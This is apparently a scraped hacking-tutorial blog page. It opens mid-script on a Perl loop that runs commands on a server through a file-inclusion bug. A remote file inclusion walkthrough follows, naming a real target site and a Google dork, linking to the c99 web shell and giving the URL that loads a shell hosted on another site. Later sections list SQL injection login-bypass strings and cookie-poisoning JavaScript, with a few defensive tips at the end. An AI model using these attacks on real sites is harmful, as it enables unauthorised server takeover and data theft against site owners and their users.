print $socket “GET “.$path.”index.php?filename=”.$log.”&cmd=$cmd HTTP/1.1\r\n”;
print $socket “Host: “.$site.”\r\n”;
print $socket “Accept: */*\r\n”;
print $socket “Connection: close\r\n\n”;
while ($show = <$socket>)
{
print $show;
}
print “Type command to run or exit to end: “;

$cmd = ;
}
6. Once the hacker runs this script and it goes successfully, he will be able to run any command on the server. From here he can run any local exploits to gain root, or just browse the server files.

Read more

Edit any Website

Code:javascript:document.body.contentEditable='true'; document.designMode='on'; void 0 This Javascript allows you to edit any website!Just copy and paste instead of the website's adress.

Read more

Hack a Website Using Remote File Inclusion

Remote file inclusion is basically a one of the most common vulnerability found in web application. This type of vulnerability allows the Hacker or attacker to add a remote file on the web server. If the attacker gets successful in performing the attack he/she will gain access to the web server and hence can execute any command on it.

Searching the Vulnerability

Remote File inclusion vulnerability is usually occured in those sites which have a navigation similar to the below one

    www.Targetsite.com/index.php?page=Anything

To find the vulnerability the hacker will most commonly  use the following Google Dork

    “inurl:index.php?page=”

This will show all the pages which has “index.php?page=” in their URL, Now to test whether the website is vulnerable to Remote file Inclusion or not the hacker use the following command

    www.targetsite.com/index.php?page=www.google.com

Lets say that the target website is http://www.cbspk.com

So the hacker url will become

    http://www.cbspk.com/v2/index.php?page=http://www.google.com

If after executing the command the homepage of the google shows up then then the website is vulnerable to this attack if it does not come up then you should look for a new target. In my case after executing the above command in the address bar Google homepage shows up indicating that the website is vulnerable to this attack

Now the hacker would upload the shells to gain access. The most common shells used are c99 shell or r57 shell. I would use c99 shell. You can download c99 shell from the link below:

    http://www.4shared.com/file/107930574/287131f0/c99shell.html?aff=7637829

The hacker would first upload the shells to a webhosting site such as ripway.com, 110mb.com etc.

Now here is how a hacker would execute the shells to gain access. Lets say that the url of the shell is

    http://h1.ripway.com/rafaybaloch/c99.txt

Now here is how a hacker would execute the following command to gain access

    http://www.cbspk.com/v2/index.php?page=http://h1.ripway.com/rafaybaloch/c99.txt?

Remember to add “?” at the end of url or else the shell will not execute. Now the hacker is inside the website and he could do anything with it.................!!!!!!!!!!!!!!1

Read more

Web Sites Hacking Methods

Gone are the days when website hacking was a sophisticated art. Today any body can access through the Internet and start hacking your website. All that is needed is doing a search on google with keywords like “how to hack website”, “hack into a website”, “Hacking a website” etc. The following article is not an effort to teach you website hacking, but it has more to do with raising awareness on somecommon website hacking methods.

The Simple SQL Injection Hack
SQL Injection involves entering SQL code into web forms, eg. login fields, or into the browser address field, to access and manipulate the database behind the site, system or application.
When you enter text in the Username and Password fields of a login screen, the data you input is typically inserted into an SQL command. This command checks the data you've entered against the relevant table in the database. If your input matches table/row data, you're granted access (in the case of a login screen). If not, you're knocked back out.
In its simplest form, this is how the SQL Injection works. It's impossible to explain this without reverting to code for just a moment. Don't worry, it will all be over soon.
Suppose we enter the following string in a User name field:
' OR 1=1 double-dash-txt.png
The authorization SQL query that is run by the server, the command which must be satisfied to allow access, will be something along the lines of:
SELECT * FROM users WHERE username = ‘USRTEXT '
AND password = ‘PASSTEXT’
…where USRTEXT and PASSTEXT are what the user enters in the login fields of the web form.
So entering `OR 1=1 — as your username, could result in the following actually being run:
SELECT * FROM users WHERE username = ‘' OR 1=1 — 'AND password = '’
Two things you need to know about this:
['] closes the [user-name] text field.
'double-dash-txt.png' is the SQL convention for Commenting code, and everything after Comment is ignored. So the actual routine now becomes:
SELECT * FROM users WHERE user name = '' OR 1=1
1 is always equal to 1, last time I checked. So the authorization routine is now validated, and we are ushered in the front door to wreck havoc.
Let's hope you got the gist of that, and move briskly on.
Brilliant! I'm gonna go hack me a Bank!
Slow down, cowboy. This half-cooked method won't beat the systems they have in place up at Citibank,
evidently

But the process does serve to illustrate just what SQL Injection is all about — injecting code to manipulate a routine via a form, or indeed via the URL. In terms of login bypass via Injection, the hoary old ' OR 1=1 is just one option. If a hacker thinks a site is vulnerable, there are cheat-sheets all over the web for login strings which can gain access to weak systems. Here are a couple more common strings which are used to dupe SQL validation routines:
username field examples:

    * admin'—
    * ') or ('a'='a
    * ”) or (“a”=”a
    * hi” or “a”=”a

… and so on.
 
Cross site scripting ( XSS ):
Cross-site scripting or XSS is a threat to a website's security. It is the most common and popular hacking a website to gain access information from a user on a website. There are hackers with malicious objectives that utilize this to attack certain websites on the Internet. But mostly good hackers do this to find security holes for websites and help them find solutions. Cross-site scripting is a security loophole on a website that is hard to detect and stop, making the site vulnerable to attacks from malicious hackers. This security threat leaves the site and its users open to identity theft, financial theft and data theft. It would be advantageous for website owners to understand how cross-site scripting works and how it can affect them and their users so they could place the necessary security systems to block cross-site scripting on their website.

Denial of service ( Ddos attack ):
A denial of service attack (DOS) is an attack through which a person can render a system unusable or significantly slow down the system for legitimate users by overloading the resources, so that no one can access it.this is not actually hacking a website but it is used to take down a website.
If an attacker is unable to gain access to a machine, the attacker most probably will just crash the machine to accomplish a denial of service attack,this one of the most used method for website hacking .

Cookie Poisoning:
Well, for a starters i can begin with saying that Cookie Poisoning is alot like SQL Injection
Both have 'OR'1'='1 or maybe '1'='1'
But in cookie poisoning you begin with alerting your cookies
Javascript:alert(document.cookie)
Then you will perharps see "username=JohnDoe" and "password=iloveJaneDoe"
in this case the cookie poisoning could be:
Javascript:void(document.cookie="username='OR'1'='1"); void(document.cookie="password='OR'1'='1");
It is also many versions of this kind... like for example
'
'1'='1'
'OR'1'='1
'OR'1'='1'OR'
and so on...
You may have to try 13 things before you get it completely right...

Password Cracking
Hashed strings can often be deciphered through 'brute forcing'. Bad news, eh? Yes, and particularly if your encrypted passwords/usernames are floating around in an unprotected file somewhere, and some Google hacker comes across it.
You might think that just because your password now looks something like XWE42GH64223JHTF6533H in one of those files, it means that it can't be cracked? Wrong. Tools are freely available which will decipher a certain proportion of hashed and similarly encoded passwords.

A Few Defensive Measures
* If you utilize a web content management system, subscribe to the development blog. Update to new versions soon as possible.
* Update all 3rd party modules as a matter of course — any modules incorporating web formsor enabling member file uploads are a potential threat. Module vulnerabilities can offer access to your full database.
* Harden your Web CMS or publishing platform. For example, if you use WordPress, use this guide as a reference.
* If you have an admin login page for your custom built CMS, why not call it 'Flowers.php' or something, instead of “AdminLogin.php” etc.?
* Enter some confusing data into your login fields like the sample Injection strings shown above, and any else which you think might confuse the server. If you get an unusual error message disclosing server-generated code then this may betray vulnerability.
* Do a few Google hacks on your name and your website. Just in case…
* When in doubt, pull the yellow cable out! It won't do you any good, but hey, it rhymes.

READ MORE!

Read more